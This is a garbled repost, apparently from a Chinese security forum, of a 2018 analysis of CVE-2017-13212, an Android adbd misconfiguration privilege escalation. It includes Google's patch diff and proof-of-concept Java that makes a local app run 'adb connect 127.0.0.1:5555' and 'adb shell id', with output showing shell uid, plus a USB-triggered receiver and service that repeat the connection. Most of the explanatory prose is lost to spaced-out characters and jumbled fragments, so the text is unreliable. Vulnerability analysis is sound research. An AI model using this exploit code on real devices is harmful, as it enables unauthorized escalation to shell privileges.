[12355] 2018-02-13_ADB配置提权漏洞(CVE-2017-13212)原理与利用分析

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2018-02-13_ADB配置提权漏洞(CVE-2017-13212)原理与利用分析 A D B C V E - 2 0 1 7 - 1 3 2 1 2 T a s f a   F r e e B u f   2 0 1 8 - 0 2 - 1 3 * T a s f a F r e e B u f 0 x 0 1   a d b s h e l l P C 使 使 s h e l l s h e l l a d b d T C P A n d r o i d M a i n i f e s t . x m l I N T E R N E T h i j a c k G o o g l e h i j a c k U S B 广 使 0 x 0 2   a d b a d b   c o n n e c t a d b d 使 a d b   s h e l l s h e l l 使 a d b a d b   t c p i p   p o r t a d b d T C P U S B a d b d T C P a d b a d b d a d b   s e r v e r a d b d a d b   s e r v e r R S A ( [ 2 ] ) ( G o o g l e ) d i f f a d b   t c p i p   5 5 5 5 d i f f   - - g i t   a / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a   b / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a i n d e x   f 5 4 4 7 a 2 . . 3 2 9 d d 9 9   1 0 0 6 4 4 - - -   a / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a + + +   b / p a c k a g e s / S y s t e m U I / s r c / c o m / a n d r o i d / s y s t e m u i / u s b / U s b D e b u g g i n g A c t i v i t y . j a v a @ @   - 3 1 , 8   + 3 1 , 1 2   @ @   i m p o r t   a n d r o i d . o s . S y s t e m P r o p e r t i e s ;   i m p o r t   a n d r o i d . u t i l . L o g ;   i m p o r t   a n d r o i d . v i e w . L a y o u t I n f l a t e r ; + i m p o r t   a n d r o i d . v i e w . M o t i o n E v e n t ;   i m p o r t   a n d r o i d . v i e w . V i e w ;
: 1 .   T C P 2 .   s h e l l   i m p o r t   a n d r o i d . v i e w . V i e w ; + i m p o r t   a n d r o i d . v i e w . W i n d o w ; + i m p o r t   a n d r o i d . v i e w . W i n d o w M a n a g e r ;   i m p o r t   a n d r o i d . w i d g e t . C h e c k B o x ; + i m p o r t   a n d r o i d . w i d g e t . T o a s t ;   i m p o r t   c o m . a n d r o i d . i n t e r n a l . a p p . A l e r t A c t i v i t y ;   i m p o r t   c o m . a n d r o i d . i n t e r n a l . a p p . A l e r t C o n t r o l l e r ; @ @   - 4 8 , 6   + 5 2 , 1 0   @ @           @ O v e r r i d e           p u b l i c   v o i d   o n C r e a t e ( B u n d l e   i c i c l e )   { +                 W i n d o w   w i n d o w   =   g e t W i n d o w ( ) ; +                 w i n d o w . a d d P r i v a t e F l a g s ( W i n d o w M a n a g e r . L a y o u t P a r a m s . P R I V A T E _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S ) ; +                 w i n d o w . s e t T y p e ( W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ S Y S T E M _ D I A L O G ) ; +                   s u p e r . o n C r e a t e ( i c i c l e ) ;                   i f   ( S y s t e m P r o p e r t i e s . g e t I n t ( " s e r v i c e . a d b . t c p . p o r t " ,   0 )   = =   0 )   { @ @   - 7 9 , 6   + 8 7 , 2 3   @ @                   a p . m V i e w   =   c h e c k b o x ;                   s e t u p A l e r t ( ) ; + +                 / /   a d d i n g   t o u c h   l i s t e n e r   o n   a f f i r m a t i v e   b u t t o n   -   c h e c k s   i f   w i n d o w   i s   o b s c u r e d +                 / /   i f   o b s c u r e d ,   d o   n o t   l e t   u s e r   g i v e   p e r m i s s i o n s   ( c o u l d   b e   t a p j a c k i n g   i n v o l v e d ) +                 / / +                 f i n a l   V i e w . O n T o u c h L i s t e n e r   f i l t e r T o u c h L i s t e n e r   =   ( V i e w   v ,   M o t i o n E v e n t   e v e n t )   - >   { +                         / /   F i l t e r   o b s c u r e d   t o u c h e s   b y   c o n s u m i n g   t h e m . +                         i f   ( ( ( e v e n t . g e t F l a g s ( )   &   M o t i o n E v e n t . F L A G _ W I N D O W _ I S _ O B S C U R E D )   ! =   0 ) +                                         | |   ( ( e v e n t . g e t F l a g s ( )   &   M o t i o n E v e n t . F L A G _ W I N D O W _ I S _ P A R T I A L L Y _ O B S C U R E D )   ! =   0 ) )   { +                                 i f   ( e v e n t . g e t A c t i o n ( )   = =   M o t i o n E v e n t . A C T I O N _ U P )   { +                                         T o a s t . m a k e T e x t ( v . g e t C o n t e x t ( ) , +                                                         R . s t r i n g . t o u c h _ f i l t e r e d _ w a r n i n g , +                                                         T o a s t . L E N G T H _ S H O R T ) . s h o w ( ) ; +                                 } +                                 r e t u r n   t r u e ; +                         } +                         r e t u r n   f a l s e ; +                 } ; +                 m A l e r t . g e t B u t t o n ( B U T T O N _ P O S I T I V E ) . s e t O n T o u c h L i s t e n e r ( f i l t e r T o u c h L i s t e n e r ) ;           }
: s h e l l U S B U S B P C , : 广 U S B P C : U S B 广 s e r v i c e R S A 使 P C
a p k
0 x 0 3  
:   A n d r o i d   4 . 4 . 4   N e x u s   5 P C P o c :   a d b   t c p i p   5 5 5 5 p r i v a t e   v o i d   e s c a l a t e P r i v i l e g e ( )   {         / *                 a n d r o i d   6 . 0                 使 a d b         * /                 t r y   {                         S t r i n g [ ]   c o n n e c t C m d   =   { " a d b " , " c o n n e c t " , " 1 2 7 . 0 . 0 . 1 : 5 5 5 5 " } ;                         S t r i n g [ ]   i d C m d   =   { " a d b " , " s h e l l " , " i d " } ;                         e x e c C o m m a n d ( c o n n e c t C m d ) ;                         e x e c C o m m a n d ( i d C m d ) ;                 }   c a t c h   ( E x c e p t i o n   e )   {                         L o g . d ( T A G ,   " e s c a l a t e P r i v i l e g e :   "   +   e . t o S t r i n g ( )   ) ;                 }         }         p r i v a t e   v o i d   r e a d D a t a ( I n p u t S t r e a m   i n p u t S t r e a m ) {                 B u f f e r e d R e a d e r   r e a d e r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i n p u t S t r e a m ) ) ;                 S t r i n g   d a t a   ;                 w h i l e   ( t r u e )   {                         t r y   {                                 d a t a   =   r e a d e r . r e a d L i n e ( ) ;                                 i f ( d a t a   = =   n u l l )   {                                         b r e a k ;                                 }                                 L o g . d ( T A G ,   " o u t p u t :   "   +   d a t a ) ;                         }   c a t c h   ( I O E x c e p t i o n   e )   {                                 e . p r i n t S t a c k T r a c e ( ) ;                         }                 }         }         p r i v a t e   P r o c e s s   e x e c C o m m a n d ( S t r i n g [ ]   c m d s ) {                 P r o c e s s B u i l d e r   b u i l d e r   =   n e w   P r o c e s s B u i l d e r ( ) ;                 P r o c e s s   e x e c C o m m a n d P r o c e s s   =   n u l l ;                 b u i l d e r . c o m m a n d ( c m d s ) ;                 b u i l d e r . d i r e c t o r y ( t h i s . g e t F i l e s D i r ( ) ) ;                 b u i l d e r . r e d i r e c t E r r o r S t r e a m ( t r u e ) ;                 M a p < S t r i n g ,   S t r i n g >   e n v   =   b u i l d e r . e n v i r o n m e n t ( ) ;                 e n v . p u t ( " H O M E " ,   t h i s . g e t F i l e s D i r ( ) . t o S t r i n g ( ) ) ;                 e n v . p u t ( " T M P D I R " ,   t h i s . g e t F i l e s D i r ( ) . t o S t r i n g ( ) ) ;
U S B g o o g l e h i j a c k L o g c a t : : a p k U S B 0 x 0 4   E x p A n d r o i d M a n i f e s t . x m l   U S B 广 : 广 s e r v i c e , o n S t a r t C o m m a n d : U S B :                 t r y   {                         e x e c C o m m a n d P r o c e s s   =   b u i l d e r . s t a r t ( ) ;                         e x e c C o m m a n d P r o c e s s . w a i t F o r ( ) ;                         r e a d D a t a ( e x e c C o m m a n d P r o c e s s . g e t I n p u t S t r e a m ( ) ) ;                 } c a t c h   ( I n t e r r u p t e d E x c e p t i o n   e ) {                         e . p r i n t S t a c k T r a c e ( ) ;                 }   c a t c h   ( I O E x c e p t i o n   e )   {                         e . p r i n t S t a c k T r a c e ( ) ;                 }                 r e t u r n   e x e c C o m m a n d P r o c e s s ;         } o u t p u t :   c o n n e c t e d   t o   1 2 7 . 0 . 0 . 1 : 5 5 5 5 o u t p u t :   u i d = 2 0 0 0 ( s h e l l )   g i d = 2 0 0 0 ( s h e l l )   g r o u p s = 1 0 0 3 ( g r a p h i c s ) , 1 0 0 4 ( i n p u t ) , 1 0 0 7 ( l o g ) , 1 0 0 9 ( m o u n t ) , 1 0 1 1 ( a d b ) , 1 0 1 5 ( s d c a r d _ r w ) , 1 0 2 8 ( s d c a r d _ r ) , 3 0 0 1 ( n e t _ b t _ a d m i n ) , 3 0 0 2 ( n e t _ b t ) , 3 0 0 3 ( i n e t ) , 3 0 0 6 ( n e t _ b w _ s t a t s )   c o n t e x t = u : r : s h e l l : s 0 < r e c e i v e r         a n d r o i d : n a m e = " . U s b B r o a d c a s t R e c e i v e r "         a n d r o i d : e n a b l e d = " t r u e "         a n d r o i d : e x p o r t e d = " t r u e " >         < i n t e n t - f i l t e r   a n d r o i d : p r i o r i t y = " 1 0 0 " >                 < a c t i o n   a n d r o i d : n a m e = " a n d r o i d . h a r d w a r e . u s b . a c t i o n . U S B _ S T A T E " / >         < / i n t e n t - f i l t e r > < / r e c e i v e r > p u b l i c   i n t   o n S t a r t C o m m a n d ( I n t e n t   i n t e n t ,   i n t   f l a g s ,   i n t   s t a r t I d )   {                 L o g . d ( T A G ,   " o n S t a r t C o m m a n d :   a d b   v u l " ) ;                 S t r i n g [ ]   c o n n e c t C m d   =   { " a d b " , " c o n n e c t " , " 1 2 7 . 0 . 0 . 1 : 5 5 5 5 " } ;                 e x e c C o m m a n d ( c o n n e c t C m d ) ;                 r e t u r n   s u p e r . o n S t a r t C o m m a n d ( i n t e n t ,   f l a g s ,   s t a r t I d ) ;         }
u s b p c .
0 x 0 5   P C :   s h e l l 0 x 0 6   P r i v i l e g e   E s c a l a t i o n   v i a   a d b d   M i s c o n f i g u r a t i o n   |   a d b d * T a s f a F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则